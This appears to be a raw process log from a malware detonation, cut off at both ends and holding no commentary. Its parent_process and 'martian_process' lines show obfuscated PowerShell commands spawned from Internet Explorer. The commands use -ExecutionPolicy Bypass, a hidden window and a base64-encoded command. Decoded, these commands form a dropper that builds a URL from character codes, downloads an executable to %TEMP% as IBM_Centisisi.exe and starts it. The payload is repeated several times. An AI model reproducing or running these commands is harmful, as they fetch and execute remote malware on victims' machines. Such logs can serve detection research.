AQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA= "
parent_process iexplore.exe martian_process "C:\Windows\syStEM32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe" "poWERsHElL -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA= "
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXAB